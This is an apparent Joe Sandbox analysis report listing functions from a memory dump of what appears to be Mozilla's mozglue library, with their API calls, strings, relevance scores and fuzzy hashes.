Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction ID: af15591eb4057c6c9f0b4602ec28b941b43ac9ec3858a1221f66c13edaedb820
Opcode Fuzzy Hash: e0e4816178f543f6c9a913ac8421354ea1ed47a0e35c0225da7a0286af1f89c2
Instruction Fuzzy Hash: BF21C574B002088FDF04DF65D858AEEB7B9AF4520CF944014EC4A97740EB369919CFE2

Function 6C3774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C377526
__Init_thread_footer.LIBCMT ref: 6C377566
__Init_thread_footer.LIBCMT ref: 6C377597

Strings

UnmapViewOfFile2, xrefs: 6C377552
kernel32.dll, xrefs: 6C377557

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction ID: 5bf42659acc1aee17ef7f2b9194dbf70f683bcba4a643307586fe2d7bb98f75f
Opcode Fuzzy Hash: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction Fuzzy Hash: 12210A31700501A7CF258FE5D854ED933BDEB4B7B8B104528F80647B40E77AA8118EBA

Function 6C37A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770,-00000001,?,6C38E330,?,6C33BDF7), ref: 6C37A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C33BDF7), ref: 6C37A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C33BDF7), ref: 6C37A7E4
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A80A

Strings

accelerator.dll, xrefs: 6C37A7BF

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction ID: 17944ca9a2f42269489cdbee3de8ea47e2157718ae9c5ef509062b40c34f0514
Opcode Fuzzy Hash: 5543f298d2720eba806f3256d948333286c1125d19ea7dc060115b1ca8f5f2be
Instruction Fuzzy Hash: 6C017C706003049F9F049F9AE88481177B8EB89754704806AE9098B701EBB6D800CFA1

Function 6C3775B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37748B,?), ref: 6C3775B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C3775D7
FreeLibrary.KERNEL32(?,6C37748B,?), ref: 6C3775EC

Strings

RtlNtStatusToDosError, xrefs: 6C3775D1
ntdll.dll, xrefs: 6C3775B3

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction ID: 4cb794fadd9db2884ff9cb6c48b7502cb8e686ed19dae002b97fe0d460930d06
Opcode Fuzzy Hash: 4c8018ff31c0c8919e8653d94dfb80add89016cef253df11d4c7b0f2fef32755
Instruction Fuzzy Hash: E5E0B675A00302ABEF11AFA2E8487017AFCEB0B398F105429F905D5600FBFB8052CF24

Function 6C377600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C377592), ref: 6C377608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C377627
FreeLibrary.KERNEL32(?,6C377592), ref: 6C37763C

Strings

NtUnmapViewOfSection, xrefs: 6C377621
ntdll.dll, xrefs: 6C377603

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction ID: 2924cac432f7549a7b277fdfd6779b54f15d01ab66f7d16cf54991c382a7b6d1
Opcode Fuzzy Hash: f5849016c117d0aea78ee49dee2a26f107f6da7d880b7e93a121306d98b9fc0b
Instruction Fuzzy Hash: 72E092B4A00301ABDF11AFA6A8487457ABCE71F299F004119F905D5600F7BBC4008F28

Function 6C37BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C37BE49), ref: 6C37BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C37BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C37BE49), ref: 6C37BF38
RtlReAllocateHeap.NTDLL ref: 6C37BF83
RtlFreeHeap.NTDLL(6C37BE49,00000000), ref: 6C37BFA6

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction ID: 9f77755577b1e55db33b2b5a20458ffa23cdc1c1dffe0210276d104f8e7baf3e
Opcode Fuzzy Hash: bf10176a7d23ed4416e9f54f82648a2cb2106379c2e6e886b72bc58571bde6b9
Instruction Fuzzy Hash: 4051A171A002058FE720CF68CC80B9AB3B6FF88318F294639D555ABB54D735F9068FA4

Function 6C368E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368EBF
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?,6C38D734), ref: 6C368F46
free.MOZGLUE(?,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C35B58D,?,?,?,?,?,?,?,6C38D734,?,?,?), ref: 6C368F8F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction ID: 0b8df8d304b622ba68b587f719e88e07655090cc73721cc489ef2ed12f6f44c7
Opcode Fuzzy Hash: 0a6c0509c984db672d071480791d7f93f6fc2bce193f16b705ab843c355a55e5
Instruction Fuzzy Hash: CF51B6B1A012158FEB14CF54E8807AE73B6FF4A718F15052AD916ABB44E732F904CF92

Function 6C3627E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36289A
free.MOZGLUE(?,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C3628F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C362910
free.MOZGLUE(00000001,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C362620,?,?,?,6C3560AA,6C355FCB,6C3579A3), ref: 6C36294E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction ID: 68f484fdd21526560f0914932762e78b28df70b40b5d22aa0da52f35ea56f293
Opcode Fuzzy Hash: 651ed72d3900eeedc77436f87fb24c6b7fce1ffed466be8ee915094b5bba7106
Instruction Fuzzy Hash: EA41B1B1A002068FEB14CF69D98876A73FAAB85308F160539D557EBB44E733E914CF61

Function 6C31CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C31D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C31D139

Strings

MOZ_CRASH(), xrefs: 6C31D187

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction ID: c98fc214c9f67249a0cf21e84c5763cc499e5eabd1917129f46f528cae63cc09
Opcode Fuzzy Hash: 86430becbb9e9d3d3c7d262d434b77dd9bd526c87c97b20c20839f2fbec36c9f
Instruction Fuzzy Hash: 1C419172B053164FDB59CE6D8C903AA76B8FB4A714F140139E919E7B84E7B39C008BD2

Function 6C314DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C314EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C314F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C314F1E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction ID: df843b8d379cbc998545322b7df0fda48f417f07a4fdd1ce0351e81a272ca1ef
Opcode Fuzzy Hash: fa873665ce9e65952ac5010e73cdb9bc54ae3abff9df9e15e16daed6c63ff3e7
Instruction Fuzzy Hash: CA41DF716087019FC709CF29C48095BB7E8BF89348F108A2DF4A597B41DB31E918CFA2

Function 6C37A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39F770), ref: 6C37A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A87B

Part of subcall function 6C37A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C37A88F,00000000), ref: 6C37A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C37A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37A90C
LeaveCriticalSection.KERNEL32(6C39F770), ref: 6C37A97E

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction ID: ab7aae5c28caff2085a85b71ae004e5e8b73edc3e6bb70e30bcaa565f4288186
Opcode Fuzzy Hash: 78e03c7f128760a8854f633852c8f027d90771755af3b7ca5f6422ae43a1c6b6
Instruction Fuzzy Hash: 7F41C1B4E002088BDB10DFA8D845BDEB774FF09324F108629E816AB781E375D945CFA2

Function 6C321530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C32159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215BC
moz_xmalloc.MOZGLUE(-00000001,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C3215E7
free.MOZGLUE(?,?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C32152B,?,?,?,?,6C321248,?), ref: 6C321637

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction ID: 60370d5d79910e592d435f6341fa4b8c8c7d74c3b104b3f7e225f1d24f1f340f
Opcode Fuzzy Hash: 742723df8dd4225c15bfb37312871ec57943f3a5e9adfe71ef4823923c305fe0
Instruction Fuzzy Hash: 6A31EA729001148BCF188E78D95086E77E9BB813747340B6DE863DBBD4EB36DD158B92

Function 6C37AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AD9D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE01
GetLastError.KERNEL32(?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C38E330,?,6C33C059), ref: 6C37AE3D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction ID: 790b34ed26e7e8b43da7ab36db037edb8bddb2e2d448163894b7b793f9c96380
Opcode Fuzzy Hash: a19717db8c54dd1805b376c6ac0c85337787444a913bd13f7c15a2b4a59ba7b4
Instruction Fuzzy Hash: 993150B1A012159FDB10DF799C45AABB7F8EF48614F158829E88AD7700E738D804CBB5

Function 6C375EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C38DCA0,?,?,?,6C34E8B5,00000000), ref: 6C375F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C34E8B5,00000000), ref: 6C375F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C34E8B5,00000000), ref: 6C375F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C34E8B5,00000000), ref: 6C375FD6

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction ID: 4938c7c18921b92d3811c6dca62fda0e35dc9448f4719068083c8301abe8c73d
Opcode Fuzzy Hash: c3a073df107f18c4889b78fdda41bfe3c3cfa0eae1e6882bb5ef0951fa4ef4b4
Instruction Fuzzy Hash: EF31E934300600CFD724CF29C898A6AB7F9BF89719B644558E5568BBA5C736EC41CB94

Function 6C31B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C31B532
moz_xmalloc.MOZGLUE(?), ref: 6C31B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C31B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C31B57E
free.MOZGLUE(00000000), ref: 6C31B58F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction ID: cb4f4f08ba2fec6743600e24d86d7cd5f8b5d03de2bbda72f629a97a05cc45a3
Opcode Fuzzy Hash: 82e2157a523a7982e7ab536e70368fe759cd6912a166538d7da105994e5c3a7b
Instruction Fuzzy Hash: 0021F6B1A042059FDB009F69DC40BAABBB9FF45308F284129E918DB741F776D911CBA1

Function 6C31B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C31B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C31B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C31B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C31B849

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction ID: 798437f4f9f65a4cc970f3119e0fcbb651afa7a5d528557e5d58a40c1756913f
Opcode Fuzzy Hash: a88b18c1fdf172d1aa8d10f663fe2736eabed738126ab9d03adb77734ff8af9b
Instruction Fuzzy Hash: C1214BB0E002499FDF04DFA9D8855FEBBB8EF49718F148129E845AB700E731A944CFA1

Function 6C376E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C376E78

Part of subcall function 6C376A10: InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376A68
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376A7D
Part of subcall function 6C376A10: GetCurrentProcess.KERNEL32 ref: 6C376AA1
Part of subcall function 6C376A10: EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376AAE
Part of subcall function 6C376A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C376AE1
